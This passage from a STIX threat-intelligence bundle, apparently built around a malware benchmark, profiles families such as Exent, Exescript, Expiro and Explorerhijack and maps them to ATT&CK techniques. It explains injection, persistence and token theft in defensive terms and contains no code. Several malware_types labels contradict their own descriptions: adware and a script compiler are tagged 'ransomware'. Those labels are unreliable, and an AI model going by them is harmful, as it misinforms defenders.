performance.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Exent adware is generally not classified as destructive malware (like ransomware), it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the tracking telemetry violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys, hidden scheduled tasks, and the core application files.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions, tracking cookies, and hijacked homepage settings.</li>\n<li><strong>Software Policy Enforcement:</strong> Reinforce corporate policies regarding the downloading of unapproved \"freeware\" or gaming platforms to prevent future infections.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Exent",
        "PUP.Exent",
        "Win32/Adware.GamingPlatform"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exent"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2e23ae5-65e7-5a05-b975-7cbfc69a4fd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d888b82b-e3e4-58c8-b8d4-fc6fa51eb097",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exent exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f39ffe2f-108f-5610-82d0-add951c3a798",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d888b82b-e3e4-58c8-b8d4-fc6fa51eb097",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exent exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46734f1d-5add-5688-9615-7201ede5d646",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d888b82b-e3e4-58c8-b8d4-fc6fa51eb097",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exent exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0003f8db-e2d1-5b6b-815b-ef647b27db8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exescript",
      "description": "HackTool:Win32/Exescript (or similar detections) often refers to utilities designed to compile standard scripts (like VBScript, Batch, or PowerShell) into standalone Windows Executable (.exe) files. While these tools (e.g., Bat To Exe Converter) have legitimate administrative uses, they are highly favored by threat actors to obfuscate malicious scripts, evade script-based detection mechanisms (like AMSI), and bundle multiple malicious payloads into a single file.<br><br><b>Understanding Exescript Utilities</b><br>To an end-user, an Exescript-compiled file looks like a normal Windows program. For a security analyst, these files are a red flag. A threat actor will write a malicious PowerShell script to steal data or establish a reverse shell. To bypass execution policies and evade antivirus that scans `.ps1` files, they use an Exescript tool. The tool essentially creates a wrapper executable that contains the script and a hidden extraction routine.<br><br><b>Execution and Obfuscation Mechanics</b><br>When the victim executes the compiled `.exe` (`T1204.002`), the wrapper program transparently extracts the embedded script to a temporary directory (like `%Temp%`) and executes it using the native Windows interpreter (`cmd.exe`, `wscript.exe`, or `powershell.exe`) (`T1059`). Because the malicious logic is stored within the compiled binary (often encrypted or compressed by the Exescript tool) (`T1027.002`), static antivirus scanners frequently fail to detect the underlying script. Furthermore, threat actors often use these tools to enforce administrative privileges, embedding a manifest that triggers a UAC prompt upon execution (`T1548.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the script hidden inside the executable (ranging from adware to ransomware). Incident responders should closely monitor EDR logs for 'Anomalous Child Process Spawning'. A major IoC is an unknown executable in a user directory suddenly spawning `powershell.exe` or `cscript.exe` with heavily obfuscated command-line arguments. To analyze the threat, analysts often need to use unpackers or dynamically analyze the binary to extract the original script from memory or the `%Temp%` folder. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exescript",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exescript"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--163c23be-289d-5c72-8206-565ef3282a1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0003f8db-e2d1-5b6b-815b-ef647b27db8a",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exescript exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87764d6d-c3da-5640-8b2b-8b8cddc5aa25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0003f8db-e2d1-5b6b-815b-ef647b27db8a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exescript exhibits technique T1059 (Command and Scripting Interpreter (Executing the extracted script))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9803342d-0a89-5e72-bc3b-6239a765bf32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0003f8db-e2d1-5b6b-815b-ef647b27db8a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exescript exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--542c3746-1119-5a98-9d08-139ba472f57d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0003f8db-e2d1-5b6b-815b-ef647b27db8a",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exescript exhibits technique T1548.002 (Bypass User Account Control (via embedded manifests))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f98f8757-8338-54f3-9657-7a83d5435145",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exfriendalert",
      "description": "Adware:Win32/Exfriendalert is a specialized form of adware that operates as a Social Media Hijacker, historically targeting platforms like Facebook. It masquerades as a desirable browser extension or application (e.g., claiming to show you who viewed your profile or who 'unfriended' you) to gain permissions to the user's social media accounts. Once authorized, it monetizes this access through forced advertising and affiliate link spamming (`T1189`).<br><br><b>Understanding Exfriendalert (Social Media Hijacking)</b><br>To an end-user, Exfriendalert is embarrassing and intrusive. While they might have installed it out of curiosity, it repays them by posting spam links to their timeline or sending unsolicited promotional messages to their contact list on their behalf. For an IT department, this represents a significant brand and reputational risk if the compromised accounts belong to employees using corporate devices.<br><br><b>Execution and Hijacking Mechanics</b><br>Exfriendalert relies heavily on social engineering for initial delivery, often spreading virally when a compromised account posts a link to the malicious app. Upon clicking, the user is tricked into authorizing a malicious browser extension or an OAuth application (`T1528`). It establishes persistence within the browser profile (via `ExtensionInstallForcelist` policies or hidden extension folders). The adware then uses the stolen OAuth tokens or active session cookies (`T1539`) to make API calls to the social media platform, silently liking pages, joining groups, and posting ads without the user's active input.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is reputational damage, the compromise of social media accounts, and the potential spread of further malware to the user's network. Host-based IoCs include the presence of unexpected browser extensions (often with permissions to 'Read and change all your data on the websites you visit') and unauthorized OAuth applications listed in the social media platform's security settings. Network IoCs include anomalous background API calls to Facebook, Twitter, or Instagram endpoints originating from the browser, even when the user is inactive. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exfriendalert",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exfriendalert"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--48e31a17-cfd2-5e97-9c95-7f8a76e001f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1528: Steal Application Access Token (Abusing OAuth authorizations for social media access)",
      "description": "MITRE ATT&CK Technique T1528 (Steal Application Access Token (Abusing OAuth authorizations for social media access)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1528",
          "url": "https://attack.mitre.org/techniques/T1528/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db269caf-7e6e-5a31-9fed-af9018e1ba5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f98f8757-8338-54f3-9657-7a83d5435145",
      "target_ref": "attack-pattern--48e31a17-cfd2-5e97-9c95-7f8a76e001f3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exfriendalert exhibits technique T1528 (Steal Application Access Token (Abusing OAuth authorizations for social media access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b2946ce-19f8-566d-8143-864a0be429f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f98f8757-8338-54f3-9657-7a83d5435145",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exfriendalert exhibits technique T1539 (Steal Web Session Cookie (Hijacking active sessions to post spam))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e53f38d-7d47-5941-9985-1589691b1517",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f98f8757-8338-54f3-9657-7a83d5435145",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exfriendalert exhibits technique T1189 (Drive-by Compromise (Initial distribution via malicious links on social media))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5a55d7b-2c10-58ce-a057-be03d9310a2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exksws",
      "description": "<h3>Executive Summary</h3>\nExksws is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nExksws is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Exksws operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Exksws ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Exksws receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Exksws infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Exksws executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Exksws frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Exksws",
        "Downloader.Exksws",
        "Win32/Exksws"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exksws",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exksws"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--217ba7a1-7d49-57e5-9014-31c0537f0b83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5a55d7b-2c10-58ce-a057-be03d9310a2b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exksws exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a9d47dc-5b43-50d0-996c-55293fa71bd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5a55d7b-2c10-58ce-a057-be03d9310a2b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exksws exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--025c1685-e973-5e61-b6da-4224aba92b6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5a55d7b-2c10-58ce-a057-be03d9310a2b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exksws exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eff518f9-baa1-56a3-9312-84dff3424c6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Expiro",
      "description": "Expiro (classified across security vendors as Virus:Win32/Expiro, Virus:Win64/Expiro, and Xpiro) is one of the most sophisticated, long-lived polymorphic cross-architecture file infectors in cyber threat history. Operating since at least 2010 and documented by Fraunhofer FKIE Malpedia, Symantec, and McAfee, Expiro targets both 32-bit and 64-bit Windows portable executable (PE) files. When executed on an endpoint, Expiro injects an encrypted polymorphic decryptor stub into local and network-share executables and screensaver files (.exe and .scr), modifying the entry point to execute viral subroutines prior to transferring control back to the host program. Beyond parasitic file infection, Expiro functions as an aggressive credential theft platform: it installs malicious Browser Helper Objects (BHOs), intercepts encrypted web sessions, steals credentials stored across FTP clients, browsers, and security certificates, and connects to C2 infrastructure using domain generation algorithms (DGA) to exfiltrate collected intelligence. (Observed samples in benchmark: 305)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Expiro",
        "Virus:Win64/Expiro",
        "W32.Expiro",
        "W64.Expiro",
        "Xpiro",
        "Win32/Expiro.Gen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Expiro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/expiro"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2482961-4665-5876-b520-754a9733e4d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff518f9-baa1-56a3-9312-84dff3424c6a",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expiro exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6aef1ea7-511d-5446-9226-d876b92f05df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff518f9-baa1-56a3-9312-84dff3424c6a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expiro exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--616144b3-e311-59c2-b5ae-49fa5bc032aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff518f9-baa1-56a3-9312-84dff3424c6a",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expiro exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79ec1f5e-449e-5ffb-a79f-f5d2e1310a4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff518f9-baa1-56a3-9312-84dff3424c6a",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expiro exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83785e7d-796b-5e88-a06b-9b1c31c382d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff518f9-baa1-56a3-9312-84dff3424c6a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expiro exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cc64dc2-580f-5cd4-a1e2-4214f25ae684",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eff518f9-baa1-56a3-9312-84dff3424c6a",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Expiro exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d0660f8-7900-5a12-a0b2-2f7de0edd19e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Exploder",
      "description": "Trojan:Win32/Exploder is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Exploder</b><br>To an end-user, an Exploder infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Exploder is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Exploder is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Exploder frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Exploder reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Exploder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/exploder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8c6a71b-50ab-52d1-984c-90bc788a85ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d0660f8-7900-5a12-a0b2-2f7de0edd19e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exploder exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1714ae65-8c37-564e-ae64-dccd334f6a94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d0660f8-7900-5a12-a0b2-2f7de0edd19e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exploder exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa1e6860-bb53-5acc-ac44-4394b411ac68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d0660f8-7900-5a12-a0b2-2f7de0edd19e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exploder exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3fc8576-0849-5eaf-95e6-6c662583c370",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d0660f8-7900-5a12-a0b2-2f7de0edd19e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exploder exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fff9494-89fb-53ea-bf5a-f3d8a8b67702",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d0660f8-7900-5a12-a0b2-2f7de0edd19e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Exploder exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e95b8585-ec47-5d2a-bdd5-4896248bfd6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Explorerhijack",
      "description": "ExplorerHijack (monitored under behavioral detection signatures including Behavior:Win32/ExplorerHijack, Trojan:Win32/ExplorerHijack, and HackTool:Win32/ExplorerHijack) is a specialized class of Windows trojans and memory injection tools active since 2014. Rather than operating as an isolated binary, ExplorerHijack specifically targets the core Windows shell process (explorer.exe) using advanced process injection, reflective DLL loading, and process hollowing techniques. Because explorer.exe is a universally trusted, persistent operating system component with default network communications and high privileges, malware that injects into explorer.exe effectively cloaks outbound command-and-control beacons, bypasses host-based application firewalls, and eludes static disk-based security scans. ExplorerHijack payloads use native Windows APIs\u2014including VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread\u2014to allocate and execute shellcode within the address space of explorer.exe, subsequently deleting the initial on-disk dropper to maintain a pure in-memory footprint while executing secondary ransomware precursors, information stealers, or banking trojans. (Observed samples in benchmark: 106)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Behavior:Win32/ExplorerHijack",
        "Trojan:Win32/ExplorerHijack",
        "HackTool:Win32/ExplorerHijack",
        "ProcessHijack.Explorer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Explorerhijack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/explorerhijack"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fa38d09-7f69-598d-9713-08c4c82bad2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e95b8585-ec47-5d2a-bdd5-4896248bfd6d",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Explorerhijack exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b71f5184-1240-5ae2-b8f3-6283cc0d0839",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e95b8585-ec47-5d2a-bdd5-4896248bfd6d",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Explorerhijack exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de485364-ceea-5fd2-af7c-06146c9d9e49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
